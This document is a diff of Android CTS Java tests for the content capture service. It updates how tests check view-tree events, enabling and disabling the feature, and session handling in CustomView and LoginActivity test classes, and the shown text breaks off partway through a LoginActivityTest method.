+        final ActivityWatcher watcher1 = startWatcher();
+        final ChildlessActivity activity1 = launchActivity();
+        watcher1.waitFor(RESUMED);
+        activity1.finish();
+        watcher1.waitFor(DESTROYED);
+
+        // Re-enable feature
+        final ServiceWatcher reconnectionWatcher = CtsContentCaptureService.setServiceWatcher();
+        reconnectionWatcher.whitelistSelf();
+        setFeatureEnabled(service1, reason, /* enabled= */ true);
+        final CtsContentCaptureService service2 = reconnectionWatcher.waitOnCreate();
+        assertThat(mgr.isContentCaptureFeatureEnabled()).isTrue();
+
+        // Launch and finish 2nd activity while it's enabled
+        final ActivityLauncher<CustomViewActivity> launcher2 = new ActivityLauncher<>(
+                sContext, mActivitiesWatcher, CustomViewActivity.class);
+        final ActivityWatcher watcher2 = launcher2.getWatcher();
+        final CustomViewActivity activity2 = launcher2.launchActivity();
+        watcher2.waitFor(RESUMED);
+        activity2.finish();
+        watcher2.waitFor(DESTROYED);
+
+        assertThat(service1.getAllSessionIds()).isEmpty();
+        final Session session = service2.getOnlyFinishedSession();
+        activity2.assertDefaultEvents(session);
+    }
+
+    @Test
+    public void testSetContentCaptureFeatureEnabled_disabledByApi() throws Exception {
+        setContentCaptureFeatureEnabledTest_disabled(DisabledReason.BY_API);
+    }
+
+    @Test
+    public void testSetContentCaptureFeatureEnabled_disabledThenReEnabledByApi()
+            throws Exception {
+        setContentCaptureFeatureEnabledTest_disabledThenReEnabled(DisabledReason.BY_API);
+    }
+
+    @Test
+    public void testSetContentCaptureFeatureEnabled_disabledByDeviceConfig() throws Exception {
+        setContentCaptureFeatureEnabledTest_disabled(DisabledReason.BY_DEVICE_CONFIG);
+        // Reset service, otherwise it will reconnect when the deviceConfig value is reset
+        // on cleanup, which will cause the test to fail
+        Helper.resetService();
+    }
+
+    @Test
+    public void testSetContentCaptureFeatureEnabled_disabledThenReEnabledByDeviceConfig()
+            throws Exception {
+        setContentCaptureFeatureEnabledTest_disabledThenReEnabled(DisabledReason.BY_DEVICE_CONFIG);
+        // Reset service, otherwise it will reconnect when the deviceConfig value is reset
+        // on cleanup, which will cause the test to fail
+        Helper.resetService();
+    }
+
+    // TODO(b/123406031): add tests that mix feature_enabled with user_restriction_enabled (and
+    // make sure mgr.isContentCaptureFeatureEnabled() returns only the state of the 1st)
+
+    private TextView addChild(@NonNull ChildlessActivity activity,
+            @NonNull ContentCaptureSession session, @NonNull String text) {
+        final TextView child = newImportantView(activity, text);
+        child.setContentCaptureSession(session);
+        Log.i(TAG, "adding " + child.getAutofillId() + " on session "
+                + session.getContentCaptureSessionId());
+        activity.runOnUiThread(() -> activity.getRootView().addView(child));
+        return child;
+    }
+
+    // TODO(b/123024698): these method are used in cases where we cannot close a session because we
+    // would miss intermediate events, so we need to sleep. This is a hack (it's slow and flaky):
+    // ideally we should block and wait until the service receives the event, but right now
+    // we don't get the service events until after the activity is finished, so we cannot do that...
+    private void waitAndClose(@NonNull ContentCaptureSession session) {
+        Log.d(TAG, "sleeping before closing " + session.getContentCaptureSessionId());
+        sleep();
+        session.close();
+    }
+
+    private void waitAndRemoveViews(@NonNull ChildlessActivity activity, @NonNull View... views) {
+        Log.d(TAG, "sleeping before removing " + Arrays.toString(views));
+        sleep();
+        activity.syncRunOnUiThread(() -> {
+            for (View view : views) {
+                activity.getRootView().removeView(view);
+            }
+        });
+    }
+
+    private void sleep() {
+        Log.d(TAG, "sleeping for 1s ");
+        SystemClock.sleep(1_000);
+    }
+
+    // TODO(b/120494182): temporary hack to get the manager, which currently is only available on
+    // Activity contexts (and would be null from sContext)
+    @NonNull
+    private ContentCaptureManager getContentCaptureManagerHack() throws InterruptedException {
+        final AtomicReference<ContentCaptureManager> ref = new AtomicReference<>();
+        LoginActivity.onRootView(
+                (activity, rootView) -> ref.set(activity.getContentCaptureManager()));
+
+        final ActivityLauncher<LoginActivity> launcher = new ActivityLauncher<>(
+                sContext, mActivitiesWatcher, LoginActivity.class);
+        final ActivityWatcher watcher = launcher.getWatcher();
+        final LoginActivity activity = launcher.launchActivity();
+        watcher.waitFor(RESUMED);
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final ContentCaptureManager mgr = ref.get();
+        assertThat(mgr).isNotNull();
+
+        return mgr;
+    }
+
+    private void setFeatureEnabledByDeviceConfig(@Nullable String value) {
+        Log.d(TAG, "setFeatureEnabledByDeviceConfig(): " + value);
+
+        sKillSwitchManager.set(value);
+    }
+
+    @NonNull
+    private ContentCaptureContext.Builder newContentCaptureContextBuilder(@NonNull String id) {
+        return new ContentCaptureContext.Builder(new LocusId(id));
+    }
+}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CtsContentCaptureService.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CtsContentCaptureService.java
index e01837c..349ff36 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CtsContentCaptureService.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CtsContentCaptureService.java
@@ -25,6 +25,7 @@
 import android.service.contentcapture.ActivityEvent;
 import android.service.contentcapture.ContentCaptureService;
 import android.util.ArrayMap;
+import android.util.ArraySet;
 import android.util.Log;
 import android.util.Pair;
 import android.view.contentcapture.ContentCaptureContext;
@@ -103,7 +104,7 @@
     // but that would make the tests flaker.
 
     /**
-     * Used for testing onDataRemovalRequest.
+     * Used for testing onUserDataRemovalRequest.
      */
     private DataRemovalRequest mRemovalRequest;
 
@@ -281,7 +282,7 @@
 
     @Override
     public void onDataRemovalRequest(DataRemovalRequest request) {
-        Log.i(TAG, "onDataRemovalRequest(id=" + mId + ",req=" + request + ")");
+        Log.i(TAG, "onUserDataRemovalRequest(id=" + mId + ",req=" + request + ")");
         mRemovalRequest = request;
     }
 
@@ -292,7 +293,7 @@
     }
 
     /**
-     * Gets the cached DataRemovalRequest for testing.
+     * Gets the cached UserDataRemovalRequest for testing.
      */
     public DataRemovalRequest getRemovalRequest() {
         return mRemovalRequest;
@@ -503,12 +504,21 @@
         }
 
         /**
-         * Whitelist stuff when the service connects.
+         * Whitelists stuff when the service connects.
          */
         public void whitelist(@Nullable Pair<Set<String>, Set<ComponentName>> whitelist) {
             mWhitelist = whitelist;
         }
 
+       /**
+        * Whitelists just this package.
+        */
+        public void whitelistSelf() {
+            final ArraySet<String> pkgs = new ArraySet<>(1);
+            pkgs.add(MY_PACKAGE);
+            whitelist(new Pair<>(pkgs, null));
+        }
+
         @Override
         public String toString() {
             return "mService: " + mService + " created: " + (mCreated.getCount() == 0)
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomView.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomView.java
index 1da0502..10b054b 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomView.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomView.java
@@ -21,14 +21,14 @@
 import android.util.Log;
 import android.view.View;
 import android.view.ViewStructure;
-import android.view.contentcapture.ContentCaptureSession;
 
 import androidx.annotation.NonNull;
 
 import com.android.compatibility.common.util.Visitor;
 
 /**
- * A view that can be used to emulate custom behavior (like virtual children)
+ * A view that can be used to emulate custom behavior (like virtual children) on
+ * {@link #onProvideContentCaptureStructure(ViewStructure, int)}.
  */
 public class CustomView extends View {
 
@@ -38,37 +38,29 @@
 
     public CustomView(Context context, AttributeSet attrs) {
         super(context, attrs);
+        setImportantForContentCapture(View.IMPORTANT_FOR_CONTENT_CAPTURE_YES);
     }
 
-    public void onProvideContentCaptureStructure(@NonNull ViewStructure structure) {
-        Log.v(TAG, "onProvideContentCaptureStructure(): delegate=" + mDelegate);
+    @Override
+    public void onProvideContentCaptureStructure(ViewStructure structure, int flags) {
         if (mDelegate != null) {
             Log.d(TAG, "onProvideContentCaptureStructure(): delegating");
             structure.setClassName(getAccessibilityClassName().toString());
             mDelegate.visit(structure);
             Log.d(TAG, "onProvideContentCaptureStructure(): delegated");
-        }
-        else {
-            Log.d(TAG, "onProvideContentCaptureStructure(): explicitly setting class name");
-            structure.setClassName(getAccessibilityClassName().toString());
-        }
-    }
-
-    @Override
-    protected void onLayout(boolean changed, int left, int top, int right, int bottom) {
-        if (changed) {
-            final ContentCaptureSession session = getContentCaptureSession();
-            final ViewStructure structure = session.newViewStructure(this);
-            onProvideContentCaptureStructure(structure);
-            session.notifyViewAppeared(structure);
+        } else {
+            superOnProvideContentCaptureStructure(structure, flags);
         }
     }
 
     @Override
     public CharSequence getAccessibilityClassName() {
-        final String name = CustomView.class.getName();
-        Log.d(TAG, "getAccessibilityClassName(): " + name);
-        return name;
+        return CustomView.class.getName();
+    }
+
+    void superOnProvideContentCaptureStructure(@NonNull ViewStructure structure, int flags) {
+        Log.d(TAG, "calling super.onProvideContentCaptureStructure()");
+        super.onProvideContentCaptureStructure(structure, flags);
     }
 
     void setContentCaptureDelegate(@NonNull Visitor<ViewStructure> delegate) {
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivity.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivity.java
index ad1051c..bae47e5 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivity.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivity.java
@@ -15,9 +15,13 @@
  */
 package android.contentcaptureservice.cts;
 
+import static android.contentcaptureservice.cts.Assertions.assertDecorViewAppeared;
 import static android.contentcaptureservice.cts.Assertions.assertRightActivity;
 import static android.contentcaptureservice.cts.Assertions.assertSessionPaused;
 import static android.contentcaptureservice.cts.Assertions.assertSessionResumed;
+import static android.contentcaptureservice.cts.Assertions.assertViewAppeared;
+import static android.contentcaptureservice.cts.Assertions.assertViewTreeFinished;
+import static android.contentcaptureservice.cts.Assertions.assertViewTreeStarted;
 import static android.contentcaptureservice.cts.Assertions.assertViewWithUnknownParentAppeared;
 import static android.contentcaptureservice.cts.Assertions.assertViewsOptionallyDisappeared;
 
@@ -50,13 +54,13 @@
      * <p>Used on {@link #assertInitialViewsAppeared(Session, int)} and
      * {@link #assertInitialViewsDisappeared(List, int)}.
      */
-    public static final int MIN_EVENTS = 2;
+    public static final int MIN_EVENTS = 7;
 
     CustomView mCustomView;
 
     /**
      * Sets a delegate that provides the behavior of
-     * {@link CustomView#onProvideContentCaptureStructure(ViewStructure)}.
+     * {@link CustomView#onProvideContentCaptureStructure(ViewStructure, int)}.
      */
     static void setCustomViewDelegate(@NonNull DoubleVisitor<CustomView, ViewStructure> delegate) {
         sCustomViewDelegate = delegate;
@@ -126,7 +130,12 @@
 
         // Assert just the relevant events
         assertSessionResumed(events, 0);
-        assertViewWithUnknownParentAppeared(events, 1, session.id, mCustomView);
+        assertViewTreeStarted(events, 1);
+        assertDecorViewAppeared(events, 2, getDecorView());
+        assertViewAppeared(events, 3, grandpa2, decorView.getAutofillId());
+        assertViewAppeared(events, 4, grandpa1, grandpa2.getAutofillId());
+        assertViewWithUnknownParentAppeared(events, 5, session.id, mCustomView);
+        assertViewTreeFinished(events, 6);
 
         return events;
     }
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivityTest.java
index f96c3d8..e01ed72 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivityTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivityTest.java
@@ -15,10 +15,14 @@
  */
 package android.contentcaptureservice.cts;
 
+import static android.contentcaptureservice.cts.Assertions.assertDecorViewAppeared;
 import static android.contentcaptureservice.cts.Assertions.assertRightActivity;
 import static android.contentcaptureservice.cts.Assertions.assertSessionPaused;
 import static android.contentcaptureservice.cts.Assertions.assertSessionResumed;
+import static android.contentcaptureservice.cts.Assertions.assertViewAppeared;
 import static android.contentcaptureservice.cts.Assertions.assertViewTextChanged;
+import static android.contentcaptureservice.cts.Assertions.assertViewTreeFinished;
+import static android.contentcaptureservice.cts.Assertions.assertViewTreeStarted;
 import static android.contentcaptureservice.cts.Assertions.assertViewWithUnknownParentAppeared;
 import static android.contentcaptureservice.cts.Assertions.assertVirtualViewAppeared;
 import static android.contentcaptureservice.cts.Assertions.assertVirtualViewDisappeared;
@@ -160,15 +164,20 @@
 
         // Assert just the relevant events
         assertSessionResumed(events, 0);
+        assertViewTreeStarted(events, 1);
+        assertDecorViewAppeared(events, 2, decorView);
+        assertViewAppeared(events, 3, grandpa2, decorView.getAutofillId());
+        assertViewAppeared(events, 4, grandpa1, grandpa2.getAutofillId());
 
         final ContentCaptureSession mainSession = activity.mCustomView.getContentCaptureSession();
-        assertVirtualViewAppeared(events, 1, mainSession, customViewId, 1, "child");
-        assertVirtualViewDisappeared(events, 2, customViewId, mainSession, 1);
+        assertVirtualViewAppeared(events, 5, mainSession, customViewId, 1, "child");
+        assertVirtualViewDisappeared(events, 6, customViewId, mainSession, 1);
 
         // This is the "wrong" part - the parent is notified last
-        assertViewWithUnknownParentAppeared(events, 3, session.id, activity.mCustomView);
+        assertViewWithUnknownParentAppeared(events, 7, session.id, activity.mCustomView);
 
-        assertSessionPaused(events, 4);
+        assertViewTreeFinished(events, 8);
+        assertSessionPaused(events, 9);
 
         activity.assertInitialViewsDisappeared(events, additionalEvents);
     }
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Helper.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Helper.java
index 8e97aac..ed5340c 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Helper.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Helper.java
@@ -25,6 +25,7 @@
 import android.os.SystemClock;
 import android.util.ArraySet;
 import android.util.Log;
+import android.view.View;
 import android.view.contentcapture.ContentCaptureSession;
 import android.widget.TextView;
 
@@ -118,6 +119,7 @@
     public static TextView newImportantView(@NonNull Context context, @NonNull String text) {
         final TextView child = new TextView(context);
         child.setText(text);
+        child.setImportantForContentCapture(View.IMPORTANT_FOR_CONTENT_CAPTURE_YES);
         Log.v(TAG, "newImportantView(text=" + text + ", id=" + child.getAutofillId() + ")");
         return child;
     }
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivity.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivity.java
new file mode 100644
index 0000000..3747e2b
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivity.java
@@ -0,0 +1,191 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.contentcaptureservice.cts;
+
+import static android.contentcaptureservice.cts.Assertions.assertDecorViewAppeared;
+import static android.contentcaptureservice.cts.Assertions.assertRightActivity;
+import static android.contentcaptureservice.cts.Assertions.assertSessionId;
+import static android.contentcaptureservice.cts.Assertions.assertSessionResumed;
+import static android.contentcaptureservice.cts.Assertions.assertViewAppeared;
+import static android.contentcaptureservice.cts.Assertions.assertViewTreeFinished;
+import static android.contentcaptureservice.cts.Assertions.assertViewTreeStarted;
+import static android.contentcaptureservice.cts.Assertions.assertViewsOptionallyDisappeared;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.contentcaptureservice.cts.CtsContentCaptureService.Session;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.View;
+import android.view.autofill.AutofillId;
+import android.view.contentcapture.ContentCaptureEvent;
+import android.view.contentcapture.ContentCaptureSessionId;
+import android.widget.EditText;
+import android.widget.TextView;
+
+import androidx.annotation.NonNull;
+
+import java.util.List;
+
+public class LoginActivity extends AbstractRootViewActivity {
+
+    private static final String TAG = LoginActivity.class.getSimpleName();
+
+    /**
+     * Mininum number of events generated when the activity starts.
+     *
+     * <p>Used on {@link #assertInitialViewsAppeared(Session, int)} and
+     * {@link #assertInitialViewsDisappeared(List, int)}.
+     */
+    public static final int MIN_EVENTS = 11;
+
+    TextView mUsernameLabel;
+    EditText mUsername;
+    TextView mPasswordLabel;
+    EditText mPassword;
+
+    @Override
+    protected void setContentViewOnCreate(Bundle savedInstanceState) {
+        setContentView(R.layout.login_activity);
+
+        mUsernameLabel = findViewById(R.id.username_label);
+        mUsername = findViewById(R.id.username);
+        mPasswordLabel = findViewById(R.id.password_label);
+        mPassword = findViewById(R.id.password);
+    }
+
+    @Override
+    public void assertDefaultEvents(@NonNull Session session) {
+        final int additionalEvents = 0;
+        final List<ContentCaptureEvent> events = assertInitialViewsAppeared(session,
+                additionalEvents);
+        assertInitialViewsDisappeared(events, additionalEvents);
+    }
+
+    /**
+     * Asserts the events generated when this activity was launched, up to the
+     * {@code TYPE_INITIAL_VIEW_HIERARCHY_FINISHED} event.
+     */
+    @NonNull
+    public List<ContentCaptureEvent> assertInitialViewsAppeared(@NonNull Session session,
+            int additionalEvents) {
+        final List<ContentCaptureEvent> events = assertJustInitialViewsAppeared(session,
+                additionalEvents);
+        assertViewTreeFinished(events, MIN_EVENTS - 1);
+
+        return events;
+    }
+
+    /**
+     * Asserts the events generated when this activity was launched, but without the
+     * {@code TYPE_INITIAL_VIEW_HIERARCHY_FINISHED} event.
+     */
+    @NonNull
+    public List<ContentCaptureEvent> assertJustInitialViewsAppeared(@NonNull Session session,
+            int additionalEvents) {
+        final LoginActivity activity = this;
+        final ContentCaptureSessionId sessionId = session.id;
+        assertRightActivity(session, sessionId, activity);
+
+        // Sanity check
+        assertSessionId(sessionId, activity.mUsernameLabel);
+        assertSessionId(sessionId, activity.mUsername);
+        assertSessionId(sessionId, activity.mPassword);
+        assertSessionId(sessionId, activity.mPasswordLabel);
+
+        final List<ContentCaptureEvent> events = session.getEvents();
+        Log.v(TAG, "events(" + events.size() + "): " + events);
+        // TODO(b/123540067): ideally it should be X so it reflects just the views defined
+        // in the layout - right now it's generating events for 2 intermediate parents
+        // (android:action_mode_bar_stub and android:content), we should try to create an
+        // activity without them
+
+        final AutofillId rootId = activity.getRootView().getAutofillId();
+
+        assertThat(events.size()).isAtLeast(MIN_EVENTS + additionalEvents);
+
+        // TODO(b/123540067): get rid of those intermediated parents
+        final View grandpa1 = activity.getGrandParent();
+        final View grandpa2 = activity.getGrandGrandParent();
+        final View decorView = activity.getDecorView();
+        final View rootView = activity.getRootView();
+
+        assertSessionResumed(events, 0);
+        assertViewTreeStarted(events, 1);
+        assertDecorViewAppeared(events, 2, decorView);
+        assertViewAppeared(events, 3, grandpa2, decorView.getAutofillId());
+        assertViewAppeared(events, 4, grandpa1, grandpa2.getAutofillId());
+        assertViewAppeared(events, 5, sessionId, rootView, grandpa1.getAutofillId());
+        assertViewAppeared(events, 6, sessionId, activity.mUsernameLabel, rootId);
+        assertViewAppeared(events, 7, sessionId, activity.mUsername, rootId);
+        assertViewAppeared(events, 8, sessionId, activity.mPasswordLabel, rootId);
+        assertViewAppeared(events, 9, sessionId, activity.mPassword, rootId);
+
+        return events;
+    }
+
+    /**
+     * Asserts the initial views disappeared after the activity was finished.
+     */
+    public void assertInitialViewsDisappeared(@NonNull List<ContentCaptureEvent> events,
+            int additionalEvents) {
+        // TODO(b/122315042): this method is currently a mess, so let's disable for now and properly
+        // fix these assertions later...
+        if (true) return;
+
+        final LoginActivity activity = this;
+        final AutofillId rootId = activity.getRootView().getAutofillId();
+        final View decorView = activity.getDecorView();
+        final View grandpa1 = activity.getGrandParent();
+        final View grandpa2 = activity.getGrandGrandParent();
+
+        // Besides the additional events from the test case, we also need to account for the
+        final int i = MIN_EVENTS + additionalEvents;
+
+        assertViewTreeStarted(events, i);
+
+        // TODO(b/122315042): sometimes we get decor view disappareared events, sometimes we don't
+        // As we don't really care about those, let's fix it!
+        try {
+            assertViewsOptionallyDisappeared(events, i + 1,
+                    rootId,
+                    grandpa1.getAutofillId(), grandpa2.getAutofillId(),
+                    activity.mUsernameLabel.getAutofillId(), activity.mUsername.getAutofillId(),
+                    activity.mPasswordLabel.getAutofillId(), activity.mPassword.getAutofillId());
+        } catch (AssertionError e) {
+            Log.e(TAG, "Hack-ignoring assertion without decor view: " + e);
+            // Try again removing it...
+            assertViewsOptionallyDisappeared(events, i + 1,
+                    rootId,
+                    grandpa1.getAutofillId(), grandpa2.getAutofillId(),
+                    decorView.getAutofillId(),
+                    activity.mUsernameLabel.getAutofillId(), activity.mUsername.getAutofillId(),
+                    activity.mPasswordLabel.getAutofillId(), activity.mPassword.getAutofillId());
+        }
+
+        assertViewTreeFinished(events, i + 2);
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+
+        Log.d(TAG, "AutofillIds: " + "usernameLabel=" + mUsernameLabel.getAutofillId()
+                + ", username=" + mUsername.getAutofillId()
+                + ", passwordLabel=" + mPasswordLabel.getAutofillId()
+                + ", password=" + mPassword.getAutofillId());
+    }
+}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
new file mode 100644
index 0000000..ea22140
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
@@ -0,0 +1,783 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.contentcaptureservice.cts;
+
+import static android.contentcaptureservice.cts.Assertions.assertChildSessionContext;
+import static android.contentcaptureservice.cts.Assertions.assertContextUpdated;
+import static android.contentcaptureservice.cts.Assertions.assertDecorViewAppeared;
+import static android.contentcaptureservice.cts.Assertions.assertMainSessionContext;
+import static android.contentcaptureservice.cts.Assertions.assertRightActivity;
+import static android.contentcaptureservice.cts.Assertions.assertRightRelationship;
+import static android.contentcaptureservice.cts.Assertions.assertSessionId;
+import static android.contentcaptureservice.cts.Assertions.assertSessionPaused;
+import static android.contentcaptureservice.cts.Assertions.assertSessionResumed;
+import static android.contentcaptureservice.cts.Assertions.assertViewAppeared;
+import static android.contentcaptureservice.cts.Assertions.assertViewTextChanged;
+import static android.contentcaptureservice.cts.Assertions.assertViewTreeFinished;
+import static android.contentcaptureservice.cts.Assertions.assertViewTreeStarted;
+import static android.contentcaptureservice.cts.Assertions.assertViewsOptionallyDisappeared;
+import static android.contentcaptureservice.cts.Helper.MY_PACKAGE;
+import static android.contentcaptureservice.cts.Helper.newImportantView;
+import static android.view.contentcapture.DataRemovalRequest.FLAG_IS_PREFIX;
+
+import static com.android.compatibility.common.util.ActivitiesWatcher.ActivityLifecycle.DESTROYED;
+import static com.android.compatibility.common.util.ActivitiesWatcher.ActivityLifecycle.RESUMED;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.ComponentName;
+import android.content.LocusId;
+import android.contentcaptureservice.cts.CtsContentCaptureService.Session;
+import android.os.Bundle;
+import android.platform.test.annotations.AppModeFull;
+import android.util.ArraySet;
+import android.util.Log;
+import android.view.View;
+import android.view.WindowManager;
+import android.view.autofill.AutofillId;
+import android.view.contentcapture.ContentCaptureContext;
+import android.view.contentcapture.ContentCaptureEvent;
+import android.view.contentcapture.ContentCaptureSession;
+import android.view.contentcapture.ContentCaptureSessionId;
+import android.view.contentcapture.DataRemovalRequest;
+import android.view.contentcapture.DataRemovalRequest.LocusIdRequest;
+import android.widget.LinearLayout;
+import android.widget.TextView;
+
+import androidx.annotation.NonNull;
+import androidx.test.rule.ActivityTestRule;
+
+import com.android.compatibility.common.util.ActivitiesWatcher.ActivityWatcher;
+import com.android.compatibility.common.util.DoubleVisitor;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.atomic.AtomicReference;
+
+@AppModeFull(reason = "BlankWithTitleActivityTest is enough")
+public class LoginActivityTest
+        extends AbstractContentCaptureIntegrationAutoActivityLaunchTest<LoginActivity> {
+
+    private static final String TAG = LoginActivityTest.class.getSimpleName();
+
+    private static final int NO_FLAGS = 0;
+
+    private static final ActivityTestRule<LoginActivity> sActivityRule = new ActivityTestRule<>(
+            LoginActivity.class, false, false);
+
+    public LoginActivityTest() {
+        super(LoginActivity.class);
+    }
+
+    @Override
+    protected ActivityTestRule<LoginActivity> getActivityTestRule() {
+        return sActivityRule;
+    }
+
+    @Before
+    @After
+    public void resetActivityStaticState() {
+        LoginActivity.onRootView(null);
+    }
+
+    @Test
+    public void testSimpleLifecycle_defaultSession() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        final LoginActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final Session session = service.getOnlyFinishedSession();
+        Log.v(TAG, "session id: " + session.id);
+
+        activity.assertDefaultEvents(session);
+
+        final ComponentName name = activity.getComponentName();
+        service.assertThat()
+                .activityResumed(name)
+                .activityPaused(name);
+    }
+
+    @Test
+    public void testSimpleLifecycle_rootViewSession() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        final ContentCaptureContext clientContext = newContentCaptureContext();
+
+        final AtomicReference<ContentCaptureSession> mainSessionRef = new AtomicReference<>();
+        final AtomicReference<ContentCaptureSession> childSessionRef = new AtomicReference<>();
+
+        LoginActivity.onRootView((activity, rootView) -> {
+            final ContentCaptureSession mainSession = rootView.getContentCaptureSession();
+            mainSessionRef.set(mainSession);
+            final ContentCaptureSession childSession = mainSession
+                    .createContentCaptureSession(clientContext);
+            childSessionRef.set(childSession);
+            Log.i(TAG, "Setting root view (" + rootView + ") session to " + childSession);
+            rootView.setContentCaptureSession(childSession);
+        });
+
+        final LoginActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final ContentCaptureSessionId mainSessionId = mainSessionRef.get()
+                .getContentCaptureSessionId();
+        final ContentCaptureSessionId childSessionId = childSessionRef.get()
+                .getContentCaptureSessionId();
+        Log.v(TAG, "session ids: main=" + mainSessionId + ", child=" + childSessionId);
+
+        // Sanity checks
+        assertSessionId(childSessionId, activity.getRootView());
+        assertSessionId(childSessionId, activity.mUsernameLabel);
+        assertSessionId(childSessionId, activity.mUsername);
+        assertSessionId(childSessionId, activity.mPassword);
+        assertSessionId(childSessionId, activity.mPasswordLabel);
+
+        // Get the sessions
+        final Session mainSession = service.getFinishedSession(mainSessionId);
+        final Session childSession = service.getFinishedSession(childSessionId);
+
+        assertRightActivity(mainSession, mainSessionId, activity);
+        assertRightRelationship(mainSession, childSession);
+
+        // Sanity check
+        final List<ContentCaptureSessionId> allSessionIds = service.getAllSessionIds();
+        assertThat(allSessionIds).containsExactly(mainSessionId, childSessionId);
+
+        /*
+         * Asserts main session
+         */
+
+        // Checks context
+        assertMainSessionContext(mainSession, activity);
+
+        // Check events
+        final List<ContentCaptureEvent> mainEvents = mainSession.getEvents();
+        Log.v(TAG, "events(" + mainEvents.size() + ") for main session: " + mainEvents);
+
+        final View grandpa1 = activity.getGrandParent();
+        final View grandpa2 = activity.getGrandGrandParent();
+        final View decorView = activity.getDecorView();
+        final AutofillId rootId = activity.getRootView().getAutofillId();
+
+        final int minEvents = 7; // TODO(b/122315042): disappeared not always sent
+        assertThat(mainEvents.size()).isAtLeast(minEvents);
+        assertSessionResumed(mainEvents, 0);
+        assertViewTreeStarted(mainEvents, 1);
+        assertDecorViewAppeared(mainEvents, 2, decorView);
+        assertViewAppeared(mainEvents, 3, grandpa2, decorView.getAutofillId());
+        assertViewAppeared(mainEvents, 4, grandpa1, grandpa2.getAutofillId());
+        assertViewTreeFinished(mainEvents, 5);
+        // TODO(b/122315042): these assertions are currently a mess, so let's disable for now and
+        // properly fix them later...
+        if (false) {
+            int pausedIndex = 6;
+            final boolean disappeared = assertViewsOptionallyDisappeared(mainEvents, pausedIndex,
+                    decorView.getAutofillId(),
+                    grandpa2.getAutofillId(), grandpa1.getAutofillId());
+            if (disappeared) {
+                pausedIndex += 3;
+            }
+            assertSessionPaused(mainEvents, pausedIndex);
+        }
+
+        /*
+         * Asserts child session
+         */
+
+        // Checks context
+        assertChildSessionContext(childSession, "file://dev/null");
+
+        assertContentCaptureContext(childSession.context);
+
+        // Check events
+        final List<ContentCaptureEvent> childEvents = childSession.getEvents();
+        Log.v(TAG, "events for child session: " + childEvents);
+        final int minChildEvents = 5;
+        assertThat(childEvents.size()).isAtLeast(minChildEvents);
+        assertViewAppeared(childEvents, 0, childSessionId, activity.getRootView(),
+                grandpa1.getAutofillId());
+        assertViewAppeared(childEvents, 1, childSessionId, activity.mUsernameLabel, rootId);
+        assertViewAppeared(childEvents, 2, childSessionId, activity.mUsername, rootId);
+        assertViewAppeared(childEvents, 3, childSessionId, activity.mPasswordLabel, rootId);
+        assertViewAppeared(childEvents, 4, childSessionId, activity.mPassword, rootId);
+
+        assertViewsOptionallyDisappeared(childEvents, minChildEvents,
+                rootId,
